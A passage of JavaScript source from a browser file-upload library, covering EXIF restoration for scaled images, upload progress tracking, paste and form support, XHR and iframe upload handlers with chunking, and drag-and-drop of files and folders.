                    self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {
                        scaledImageDataUri = scaledImageDataUriWithExif;
                        signalSuccess();
                    }, function() {
                        log("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.", "error");
                        signalSuccess();
                    });
                } else {
                    signalSuccess();
                }
            }, function() {
                log("Failed attempt to generate scaled version for " + sourceFile.name, "error");
                scalingEffort.failure(failedText);
            });
            return scalingEffort;
        },
        _insertExifHeader: function(originalImage, scaledImageDataUri, log) {
            "use strict";
            var reader = new FileReader(), insertionEffort = new qq.Promise(), originalImageDataUri = "";
            reader.onload = function() {
                originalImageDataUri = reader.result;
                insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));
            };
            reader.onerror = function() {
                log("Problem reading " + originalImage.name + " during attempt to transfer EXIF data to scaled version.", "error");
                insertionEffort.failure();
            };
            reader.readAsDataURL(originalImage);
            return insertionEffort;
        },
        _dataUriToBlob: function(dataUri) {
            "use strict";
            var byteString, mimeString, arrayBuffer, intArray;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return this._createBlob(arrayBuffer, mimeString);
        },
        _createBlob: function(data, mime) {
            "use strict";
            var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
            if (blobBuilder) {
                blobBuilder.append(data);
                return blobBuilder.getBlob(mime);
            } else {
                return new Blob([ data ], {
                    type: mime
                });
            }
        }
    });
    qq.ExifRestorer = function() {
        var ExifRestorer = {};
        ExifRestorer.KEY_STR = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
        ExifRestorer.encode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0;
            do {
                chr1 = input[i++];
                chr2 = input[i++];
                chr3 = input[i++];
                enc1 = chr1 >> 2;
                enc2 = (chr1 & 3) << 4 | chr2 >> 4;
                enc3 = (chr2 & 15) << 2 | chr3 >> 6;
                enc4 = chr3 & 63;
                if (isNaN(chr2)) {
                    enc3 = enc4 = 64;
                } else if (isNaN(chr3)) {
                    enc4 = 64;
                }
                output = output + this.KEY_STR.charAt(enc1) + this.KEY_STR.charAt(enc2) + this.KEY_STR.charAt(enc3) + this.KEY_STR.charAt(enc4);
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return output;
        };
        ExifRestorer.restore = function(origFileBase64, resizedFileBase64) {
            var expectedBase64Header = "data:image/jpeg;base64,";
            if (!origFileBase64.match(expectedBase64Header)) {
                return resizedFileBase64;
            }
            var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, ""));
            var segments = this.slice2Segments(rawImage);
            var image = this.exifManipulation(resizedFileBase64, segments);
            return expectedBase64Header + this.encode64(image);
        };
        ExifRestorer.exifManipulation = function(resizedFileBase64, segments) {
            var exifArray = this.getExifArray(segments), newImageArray = this.insertExif(resizedFileBase64, exifArray), aBuffer = new Uint8Array(newImageArray);
            return aBuffer;
        };
        ExifRestorer.getExifArray = function(segments) {
            var seg;
            for (var x = 0; x < segments.length; x++) {
                seg = segments[x];
                if (seg[0] == 255 & seg[1] == 225) {
                    return seg;
                }
            }
            return [];
        };
        ExifRestorer.insertExif = function(resizedFileBase64, exifArray) {
            var imageData = resizedFileBase64.replace("data:image/jpeg;base64,", ""), buf = this.decode64(imageData), separatePoint = buf.indexOf(255, 3), mae = buf.slice(0, separatePoint), ato = buf.slice(separatePoint), array = mae;
            array = array.concat(exifArray);
            array = array.concat(ato);
            return array;
        };
        ExifRestorer.slice2Segments = function(rawImageArray) {
            var head = 0, segments = [];
            while (1) {
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218) {
                    break;
                }
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216) {
                    head += 2;
                } else {
                    var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3], endPoint = head + length + 2, seg = rawImageArray.slice(head, endPoint);
                    segments.push(seg);
                    head = endPoint;
                }
                if (head > rawImageArray.length) {
                    break;
                }
            }
            return segments;
        };
        ExifRestorer.decode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0, buf = [];
            var base64test = /[^A-Za-z0-9\+\/\=]/g;
            if (base64test.exec(input)) {
                throw new Error("There were invalid base64 characters in the input text.  " + "Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");
            }
            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
            do {
                enc1 = this.KEY_STR.indexOf(input.charAt(i++));
                enc2 = this.KEY_STR.indexOf(input.charAt(i++));
                enc3 = this.KEY_STR.indexOf(input.charAt(i++));
                enc4 = this.KEY_STR.indexOf(input.charAt(i++));
                chr1 = enc1 << 2 | enc2 >> 4;
                chr2 = (enc2 & 15) << 4 | enc3 >> 2;
                chr3 = (enc3 & 3) << 6 | enc4;
                buf.push(chr1);
                if (enc3 != 64) {
                    buf.push(chr2);
                }
                if (enc4 != 64) {
                    buf.push(chr3);
                }
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return buf;
        };
        return ExifRestorer;
    }();
    qq.TotalProgress = function(callback, getSize) {
        "use strict";
        var perFileProgress = {}, totalLoaded = 0, totalSize = 0, lastLoadedSent = -1, lastTotalSent = -1, callbackProxy = function(loaded, total) {
            if (loaded !== lastLoadedSent || total !== lastTotalSent) {
                callback(loaded, total);
            }
            lastLoadedSent = loaded;
            lastTotalSent = total;
        }, noRetryableFiles = function(failed, retryable) {
            var none = true;
            qq.each(failed, function(idx, failedId) {
                if (qq.indexOf(retryable, failedId) >= 0) {
                    none = false;
                    return false;
                }
            });
            return none;
        }, onCancel = function(id) {
            updateTotalProgress(id, -1, -1);
            delete perFileProgress[id];
        }, onAllComplete = function(successful, failed, retryable) {
            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {
                callbackProxy(totalSize, totalSize);
                this.reset();
            }
        }, onNew = function(id) {
            var size = getSize(id);
            if (size > 0) {
                updateTotalProgress(id, 0, size);
                perFileProgress[id] = {
                    loaded: 0,
                    total: size
                };
            }
        }, updateTotalProgress = function(id, newLoaded, newTotal) {
            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0, oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;
            if (newLoaded === -1 && newTotal === -1) {
                totalLoaded -= oldLoaded;
                totalSize -= oldTotal;
            } else {
                if (newLoaded) {
                    totalLoaded += newLoaded - oldLoaded;
                }
                if (newTotal) {
                    totalSize += newTotal - oldTotal;
                }
            }
            callbackProxy(totalLoaded, totalSize);
        };
        qq.extend(this, {
            onAllComplete: onAllComplete,
            onStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {
                    onCancel(id);
                } else if (newStatus === qq.status.SUBMITTING) {
                    onNew(id);
                }
            },
            onIndividualProgress: function(id, loaded, total) {
                updateTotalProgress(id, loaded, total);
                perFileProgress[id] = {
                    loaded: loaded,
                    total: total
                };
            },
            onNewSize: function(id) {
                onNew(id);
            },
            reset: function() {
                perFileProgress = {};
                totalLoaded = 0;
                totalSize = 0;
            }
        });
    };
    qq.PasteSupport = function(o) {
        "use strict";
        var options, detachPasteHandler;
        options = {
            targetElement: null,
            callbacks: {
                log: function(message, level) {},
                pasteReceived: function(blob) {}
            }
        };
        function isImage(item) {
            return item.type && item.type.indexOf("image/") === 0;
        }
        function registerPasteHandler() {
            detachPasteHandler = qq(options.targetElement).attach("paste", function(event) {
                var clipboardData = event.clipboardData;
                if (clipboardData) {
                    qq.each(clipboardData.items, function(idx, item) {
                        if (isImage(item)) {
                            var blob = item.getAsFile();
                            options.callbacks.pasteReceived(blob);
                        }
                    });
                }
            });
        }
        function unregisterPasteHandler() {
            if (detachPasteHandler) {
                detachPasteHandler();
            }
        }
        qq.extend(options, o);
        registerPasteHandler();
        qq.extend(this, {
            reset: function() {
                unregisterPasteHandler();
            }
        });
    };
    qq.FormSupport = function(options, startUpload, log) {
        "use strict";
        var self = this, interceptSubmit = options.interceptSubmit, formEl = options.element, autoUpload = options.autoUpload;
        qq.extend(this, {
            newEndpoint: null,
            newAutoUpload: autoUpload,
            attachedToForm: false,
            getFormInputsAsObject: function() {
                if (formEl == null) {
                    return null;
                }
                return self._form2Obj(formEl);
            }
        });
        function determineNewEndpoint(formEl) {
            if (formEl.getAttribute("action")) {
                self.newEndpoint = formEl.getAttribute("action");
            }
        }
        function validateForm(formEl, nativeSubmit) {
            if (formEl.checkValidity && !formEl.checkValidity()) {
                log("Form did not pass validation checks - will not upload.", "error");
                nativeSubmit();
            } else {
                return true;
            }
        }
        function maybeUploadOnSubmit(formEl) {
            var nativeSubmit = formEl.submit;
            qq(formEl).attach("submit", function(event) {
                event = event || window.event;
                if (event.preventDefault) {
                    event.preventDefault();
                } else {
                    event.returnValue = false;
                }
                validateForm(formEl, nativeSubmit) && startUpload();
            });
            formEl.submit = function() {
                validateForm(formEl, nativeSubmit) && startUpload();
            };
        }
        function determineFormEl(formEl) {
            if (formEl) {
                if (qq.isString(formEl)) {
                    formEl = document.getElementById(formEl);
                }
                if (formEl) {
                    log("Attaching to form element.");
                    determineNewEndpoint(formEl);
                    interceptSubmit && maybeUploadOnSubmit(formEl);
                }
            }
            return formEl;
        }
        formEl = determineFormEl(formEl);
        this.attachedToForm = !!formEl;
    };
    qq.extend(qq.FormSupport.prototype, {
        _form2Obj: function(form) {
            "use strict";
            var obj = {}, notIrrelevantType = function(type) {
                var irrelevantTypes = [ "button", "image", "reset", "submit" ];
                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;
            }, radioOrCheckbox = function(type) {
                return qq.indexOf([ "checkbox", "radio" ], type.toLowerCase()) >= 0;
            }, ignoreValue = function(el) {
                if (radioOrCheckbox(el.type) && !el.checked) {
                    return true;
                }
                return el.disabled && el.type.toLowerCase() !== "hidden";
            }, selectValue = function(select) {
                var value = null;
                qq.each(qq(select).children(), function(idx, child) {
                    if (child.tagName.toLowerCase() === "option" && child.selected) {
                        value = child.value;
                        return false;
                    }
                });
                return value;
            };
            qq.each(form.elements, function(idx, el) {
                if ((qq.isInput(el, true) || el.tagName.toLowerCase() === "textarea") && notIrrelevantType(el.type) && !ignoreValue(el)) {
                    obj[el.name] = el.value;
                } else if (el.tagName.toLowerCase() === "select" && !ignoreValue(el)) {
                    var value = selectValue(el);
                    if (value !== null) {
                        obj[el.name] = value;
                    }
                }
            });
            return obj;
        }
    });
    qq.traditional = qq.traditional || {};
    qq.traditional.FormUploadHandler = function(options, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getUuid = proxy.getUuid, log = proxy.log;
        function getIframeContentJson(id, iframe) {
            var response, doc, innerHtml;
            try {
                doc = iframe.contentDocument || iframe.contentWindow.document;
                innerHtml = doc.body.innerHTML;
                log("converting iframe's innerHTML to JSON");
                log("innerHTML = " + innerHtml);
                if (innerHtml && innerHtml.match(/^<pre/i)) {
                    innerHtml = doc.body.firstChild.firstChild.nodeValue;
                }
                response = handler._parseJsonResponse(innerHtml);
            } catch (error) {
                log("Error when attempting to parse form upload response (" + error.message + ")", "error");
                response = {
                    success: false
                };
            }
            return response;
        }
        function createForm(id, iframe) {
            var params = options.paramsStore.get(id), method = options.method.toLowerCase() === "get" ? "GET" : "POST", endpoint = options.endpointStore.get(id), name = getName(id);
            params[options.uuidName] = getUuid(id);
            params[options.filenameParam] = name;
            return handler._initFormForUpload({
                method: method,
                endpoint: endpoint,
                params: params,
                paramsInBody: options.paramsInBody,
                targetName: iframe.name
            });
        }
        this.uploadFile = function(id) {
            var input = handler.getInput(id), iframe = handler._createIframe(id), promise = new qq.Promise(), form;
            form = createForm(id, iframe);
            form.appendChild(input);
            handler._attachLoadEvent(iframe, function(responseFromMessage) {
                log("iframe loaded");
                var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);
                handler._detachLoadEvent(id);
                if (!options.cors.expected) {
                    qq(iframe).remove();
                }
                if (response.success) {
                    promise.success(response);
                } else {
                    promise.failure(response);
                }
            });
            log("Sending upload request for " + id);
            form.submit();
            qq(form).remove();
            return promise;
        };
        qq.extend(this, new qq.FormUploadHandler({
            options: {
                isCors: options.cors.expected,
                inputName: options.inputName
            },
            proxy: {
                onCancel: options.onCancel,
                getName: getName,
                getUuid: getUuid,
                log: log
            }
        }));
    };
    qq.traditional = qq.traditional || {};
    qq.traditional.XhrUploadHandler = function(spec, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, log = proxy.log, multipart = spec.forceMultipart || spec.paramsInBody, addChunkingSpecificParams = function(id, params, chunkData) {
            var size = getSize(id), name = getName(id);
            params[spec.chunking.paramNames.partIndex] = chunkData.part;
            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;
            params[spec.chunking.paramNames.chunkSize] = chunkData.size;
            params[spec.chunking.paramNames.totalParts] = chunkData.count;
            params[spec.totalFileSizeName] = size;
            if (multipart) {
                params[spec.filenameParam] = name;
            }
        }, allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({
            cors: spec.cors,
            endpoint: spec.chunking.success.endpoint,
            log: log
        }), createReadyStateChangedHandler = function(id, xhr) {
            var promise = new qq.Promise();
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4) {
                    var result = onUploadOrChunkComplete(id, xhr);
                    if (result.success) {
                        promise.success(result.response, xhr);
                    } else {
                        promise.failure(result.response, xhr);
                    }
                }
            };
            return promise;
        }, getChunksCompleteParams = function(id) {
            var params = spec.paramsStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            params[spec.totalFileSizeName] = size;
            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);
            return params;
        }, isErrorUploadResponse = function(xhr, response) {
            return qq.indexOf([ 200, 201, 202, 203, 204 ], xhr.status) < 0 || !response.success || response.reset;
        }, onUploadOrChunkComplete = function(id, xhr) {
            var response;
            log("xhr - server response received for " + id);
            log("responseText = " + xhr.responseText);
            response = parseResponse(true, xhr);
            return {
                success: !isErrorUploadResponse(xhr, response),
                response: response
            };
        }, parseResponse = function(upload, xhr) {
            var response = {};
            try {
                log(qq.format("Received response status {} with body: {}", xhr.status, xhr.responseText));
                response = qq.parseJson(xhr.responseText);
            } catch (error) {
                upload && log("Error when attempting to parse xhr response text (" + error.message + ")", "error");
            }
            return response;
        }, sendChunksCompleteRequest = function(id) {
            var promise = new qq.Promise();
            allChunksDoneRequester.complete(id, handler._createXhr(id), getChunksCompleteParams(id), spec.customHeaders.get(id)).then(function(xhr) {
                promise.success(parseResponse(false, xhr), xhr);
            }, function(xhr) {
                promise.failure(parseResponse(false, xhr), xhr);
            });
            return promise;
        }, setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {
            var formData = new FormData(), method = spec.method, endpoint = spec.endpointStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            if (multipart) {
                params[spec.totalFileSizeName] = size;
            }
            if (!spec.paramsInBody) {
                if (!multipart) {
                    params[spec.inputName] = name;
                }
                endpoint = qq.obj2url(params, endpoint);
            }
            xhr.open(method, endpoint, true);
            if (spec.cors.expected && spec.cors.sendCredentials) {
                xhr.withCredentials = true;
            }
            if (multipart) {
                if (spec.paramsInBody) {
                    qq.obj2FormData(params, formData);
                }
                formData.append(spec.inputName, fileOrBlob);
                return formData;
            }
            return fileOrBlob;
        }, setUploadHeaders = function(id, xhr) {
            var extraHeaders = spec.customHeaders.get(id), fileOrBlob = handler.getFile(id);
            xhr.setRequestHeader("Accept", "application/json");
            xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            xhr.setRequestHeader("Cache-Control", "no-cache");
            if (!multipart) {
                xhr.setRequestHeader("Content-Type", "application/octet-stream");
                xhr.setRequestHeader("X-Mime-Type", fileOrBlob.type);
            }
            qq.each(extraHeaders, function(name, val) {
                xhr.setRequestHeader(name, val);
            });
        };
        qq.extend(this, {
            uploadChunk: function(id, chunkIdx, resuming) {
                var chunkData = handler._getChunkData(id, chunkIdx), xhr = handler._createXhr(id, chunkIdx), size = getSize(id), promise, toSend, params;
                promise = createReadyStateChangedHandler(id, xhr);
                handler._registerProgressHandler(id, chunkIdx, chunkData.size);
                params = spec.paramsStore.get(id);
                addChunkingSpecificParams(id, params, chunkData);
                if (resuming) {
                    params[spec.resume.paramNames.resuming] = true;
                }
                toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            },
            uploadFile: function(id) {
                var fileOrBlob = handler.getFile(id), promise, xhr, params, toSend;
                xhr = handler._createXhr(id);
                handler._registerProgressHandler(id);
                promise = createReadyStateChangedHandler(id, xhr);
                params = spec.paramsStore.get(id);
                toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            }
        });
        qq.extend(this, new qq.XhrUploadHandler({
            options: qq.extend({
                namespace: "traditional"
            }, spec),
            proxy: qq.extend({
                getEndpoint: spec.endpointStore.get
            }, proxy)
        }));
        qq.override(this, function(super_) {
            return {
                finalizeChunks: function(id) {
                    if (spec.chunking.success.endpoint) {
                        return sendChunksCompleteRequest(id);
                    } else {
                        return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));
                    }
                }
            };
        });
    };
    qq.traditional.AllChunksDoneAjaxRequester = function(o) {
        "use strict";
        var requester, method = "POST", options = {
            cors: {
                allowXdr: false,
                expected: false,
                sendCredentials: false
            },
            endpoint: null,
            log: function(str, level) {}
        }, promises = {}, endpointHandler = {
            get: function(id) {
                return options.endpoint;
            }
        };
        qq.extend(options, o);
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ method ],
            method: method,
            endpointStore: endpointHandler,
            allowXRequestedWithAndCacheControl: false,
            cors: options.cors,
            log: options.log,
            onComplete: function(id, xhr, isError) {
                var promise = promises[id];
                delete promises[id];
                if (isError) {
                    promise.failure(xhr);
                } else {
                    promise.success(xhr);
                }
            }
        }));
        qq.extend(this, {
            complete: function(id, xhr, params, headers) {
                var promise = new qq.Promise();
                options.log("Submitting All Chunks Done request for " + id);
                promises[id] = promise;
                requester.initTransport(id).withParams(params).withHeaders(headers).send(xhr);
                return promise;
            }
        });
    };
    qq.DragAndDrop = function(o) {
        "use strict";
        var options, HIDE_ZONES_EVENT_NAME = "qq-hidezones", HIDE_BEFORE_ENTER_ATTR = "qq-hide-dropzone", uploadDropZones = [], droppedFiles = [], disposeSupport = new qq.DisposeSupport();
        options = {
            dropZoneElements: [],
            allowMultipleItems: true,
            classes: {
                dropActive: null
            },
            callbacks: new qq.DragAndDrop.callbacks()
        };
        qq.extend(options, o, true);
        function uploadDroppedFiles(files, uploadDropZone) {
            var filesAsArray = Array.prototype.slice.call(files);
            options.callbacks.dropLog("Grabbed " + files.length + " dropped files.");
            uploadDropZone.dropDisabled(false);
            options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());
        }
        function traverseFileTree(entry) {
            var parseEntryPromise = new qq.Promise();
            if (entry.isFile) {
                entry.file(function(file) {
                    var name = entry.name, fullPath = entry.fullPath, indexOfNameInFullPath = fullPath.indexOf(name);
                    fullPath = fullPath.substr(0, indexOfNameInFullPath);
                    if (fullPath.charAt(0) === "/") {
                        fullPath = fullPath.substr(1);
                    }
                    file.qqPath = fullPath;
                    droppedFiles.push(file);
                    parseEntryPromise.success();
                }, function(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            } else if (entry.isDirectory) {
                getFilesInDirectory(entry).then(function allEntriesRead(entries) {
                    var entriesLeft = entries.length;
                    qq.each(entries, function(idx, entry) {
                        traverseFileTree(entry).done(function() {
                            entriesLeft -= 1;
                            if (entriesLeft === 0) {
                                parseEntryPromise.success();
                            }
                        });
                    });
                    if (!entries.length) {
                        parseEntryPromise.success();
                    }
                }, function readFailure(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            }
            return parseEntryPromise;
        }
        function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {
            var promise = existingPromise || new qq.Promise(), dirReader = reader || entry.createReader();
            dirReader.readEntries(function readSuccess(entries) {
                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;
                if (entries.length) {
                    setTimeout(function() {
                        getFilesInDirectory(entry, dirReader, newEntries, promise);
                    }, 0);
                } else {
                    promise.success(newEntries);
                }
            }, promise.failure);
            return promise;
        }
        function handleDataTransfer(dataTransfer, uploadDropZone) {
            var pendingFolderPromises = [], handleDataTransferPromise = new qq.Promise();
            options.callbacks.processingDroppedFiles();
            uploadDropZone.dropDisabled(true);
            if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {
                options.callbacks.processingDroppedFilesComplete([]);
                options.callbacks.dropError("tooManyFilesError", "");
                uploadDropZone.dropDisabled(false);
                handleDataTransferPromise.failure();
            } else {
                droppedFiles = [];
                if (qq.isFolderDropSupported(dataTransfer)) {
                    qq.each(dataTransfer.items, function(idx, item) {
                        var entry = item.webkitGetAsEntry();
                        if (entry) {
                            if (entry.isFile) {
                                droppedFiles.push(item.getAsFile());
                            } else {
                                pendingFolderPromises.push(traverseFileTree(entry).done(function() {
                                    pendingFolderPromises.pop();
                                    if (pendingFolderPromises.length === 0) {
                                        handleDataTransferPromise.success();
                                    }
                                }));
                            }
                        }
                    });
                } else {
                    droppedFiles = dataTransfer.files;
                }
                if (pendingFolderPromises.length === 0) {
                    handleDataTransferPromise.success();
                }
            }
            return handleDataTransferPromise;
        }
        function setupDropzone(dropArea) {
            var dropZone = new qq.UploadDropZone({
                HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,
                element: dropArea,
                onEnter: function(e) {
                    qq(dropArea).addClass(options.classes.dropActive);
                    e.stopPropagation();
                },
                onLeaveNotDescendants: function(e) {
                    qq(dropArea).removeClass(options.classes.dropActive);
                },
                onDrop: function(e) {
                    handleDataTransfer(e.dataTransfer, dropZone).then(function() {
                        uploadDroppedFiles(droppedFiles, dropZone);
                    }, function() {
                        options.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.", "error");
                    });
                }
            });
            disposeSupport.addDisposer(function() {
                dropZone.dispose();
            });
            qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();
            uploadDropZones.push(dropZone);
            return dropZone;
        }
        function isFileDrag(dragEvent) {
            var fileDrag;
            qq.each(dragEvent.dataTransfer.types, function(key, val) {
                if (val === "Files") {
                    fileDrag = true;
                    return false;
                }
            });
            return fileDrag;
        }
        function leavingDocumentOut(e) {
            if (qq.firefox()) {
                return !e.relatedTarget;
            }
            if (qq.safari()) {
                return e.x < 0 || e.y < 0;
            }
            return e.x === 0 && e.y === 0;
        }
        function setupDragDrop() {
            var dropZones = options.dropZoneElements, maybeHideDropZones = function() {
                setTimeout(function() {
                    qq.each(dropZones, function(idx, dropZone) {
                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();
                        qq(dropZone).removeClass(options.classes.dropActive);
                    });
                }, 10);
            };
            qq.each(dropZones, function(idx, dropZone) {
                var uploadDropZone = setupDropzone(dropZone);
                if (dropZones.length && qq.supportedFeatures.fileDrop) {
                    disposeSupport.attach(document, "dragenter", function(e) {
                        if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {
                            qq.each(dropZones, function(idx, dropZone) {
                                if (dropZone instanceof HTMLElement && qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {
                                    qq(dropZone).css({
                                        display: "block"
                                    });
                                }
                            });
                        }
                    });
                }
            });
            disposeSupport.attach(document, "dragleave", function(e) {
                if (leavingDocumentOut(e)) {
                    maybeHideDropZones();
                }
            });
            disposeSupport.attach(qq(document).children()[0], "mouseenter", function(e) {
                maybeHideDropZones();
            });
            disposeSupport.attach(document, "drop", function(e) {
                e.preventDefault();
                maybeHideDropZones();
            });
            disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);
        }
        setupDragDrop();
        qq.extend(this, {
            setupExtraDropzone: function(element) {
                options.dropZoneElements.push(element);
                setupDropzone(element);
            },
            removeDropzone: function(element) {
                var i, dzs = options.dropZoneElements;
                for (i in dzs) {
                    if (dzs[i] === element) {
                        return dzs.splice(i, 1);
                    }
                }
            },
            dispose: function() {
                disposeSupport.dispose();
                qq.each(uploadDropZones, function(idx, dropZone) {
                    dropZone.dispose();
                });
            }
        });
    };
    qq.DragAndDrop.callbacks = function() {
        "use strict";
        return {
            processingDroppedFiles: function() {},
            processingDroppedFilesComplete: function(files, targetEl) {},
            dropError: function(code, errorSpecifics) {
                qq.log("Drag & drop error code '" + code + " with these specifics: '" + errorSpecifics + "'", "error");
            },
            dropLog: function(message, level) {
                qq.log(message, level);
            }
        };
    };
    qq.UploadDropZone = function(o) {
        "use strict";
        var disposeSupport = new qq.DisposeSupport(), options, element, preventDrop, dropOutsideDisabled;
        options = {
            element: null,
            onEnter: function(e) {},
            onLeave: function(e) {},
            onLeaveNotDescendants: function(e) {},
            onDrop: function(e) {}
        };
        qq.extend(options, o);
        element = options.element;
        function dragoverShouldBeCanceled() {
            return qq.safari() || qq.firefox() && qq.windows();
        }
        function disableDropOutside(e) {
            if (!dropOutsideDisabled) {
                if (dragoverShouldBeCanceled) {
                    disposeSupport.attach(document, "dragover", function(e) {
                        e.preventDefault();
                    });
                } else {
                    disposeSupport.attach(document, "dragover", function(e) {
                        if (e.dataTransfer) {
                            e.dataTransfer.dropEffect = "none";
                            e.preventDefault();
                        }
                    });
                }
                dropOutsideDisabled = true;
            }
        }
        function isValidFileDrag(e) {
            if (!qq.supportedFeatures.fileDrop) {
                return false;
            }
            var effectTest, dt = e.dataTransfer, isSafari = qq.safari();
            effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== "none";
            return dt && effectTest && (dt.files || !isSafari && dt.types.contains && dt.types.contains("Files"));
        }
        function isOrSetDropDisabled(isDisabled) {
            if (isDisabled !== undefined) {
                preventDrop = isDisabled;
            }
            return preventDrop;
        }
        function triggerHidezonesEvent() {
            var hideZonesEvent;
            function triggerUsingOldApi() {
                hideZonesEvent = document.createEvent("Event");
                hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);
            }
            if (window.CustomEvent) {
                try {
                    hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);
                } catch (err) {
                    triggerUsingOldApi();
                }
            } else {
                triggerUsingOldApi();
            }
            document.dispatchEvent(hideZonesEvent);
        }
        function attachEvents() {
            disposeSupport.attach(element, "dragover", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;
                if (effect === "move" || effect === "linkMove") {
                    e.dataTransfer.dropEffect = "move";
                } else {
                    e.dataTransfer.dropEffect = "copy";
                }
                e.stopPropagation();
                e.preventDefault();
            });
            disposeSupport.attach(element, "dragenter", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    options.onEnter(e);
                }
            });
            disposeSupport.attach(element, "dragleave", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                options.onLeave(e);
                var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);
                if (qq(this).contains(relatedTarget)) {
                    return;
                }
                options.onLeaveNotDescendants(e);
            });
            disposeSupport.attach(element, "drop", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    e.preventDefault();
                    e.stopPropagation();
                    options.onDrop(e);
                    triggerHidezonesEvent();
                }
            });
        }
        disableDropOutside();
        attachEvents();
        qq.extend(this, {
            dropDisabled: function(isDisabled) {
                return isOrSetDropDisabled(isDisabled);
            },
            dispose: function() {
                disposeSupport.dispose();
            },
            getElement: function() {
                return element;
            }
        });
    };
    (function() {
        "use strict";
        qq.uiPublicApi = {
            addInitialFiles: function(cannedFileList) {
                this._parent.prototype.addInitialFiles.apply(this, arguments);
                this._templating.addCacheToDom();
            },
            clearStoredFiles: function() {
                this._parent.prototype.clearStoredFiles.apply(this, arguments);
                this._templating.clearFiles();
            },
            addExtraDropzone: function(element) {
                this._dnd && this._dnd.setupExtraDropzone(element);
            },
            removeExtraDropzone: function(element) {
                if (this._dnd) {
                    return this._dnd.removeDropzone(element);
                }
            },
            getItemByFileId: function(id) {
                if (!this._templating.isHiddenForever(id)) {
                    return this._templating.getFileContainer(id);
                }
            },
            reset: function() {
                this._parent.prototype.reset.apply(this, arguments);
                this._templating.reset();
                if (!this._options.button && this._templating.getButton()) {
                    this._defaultButtonId = this._createUploadButton({
                        element: this._templating.getButton(),
                        title: this._options.text.fileInputTitle
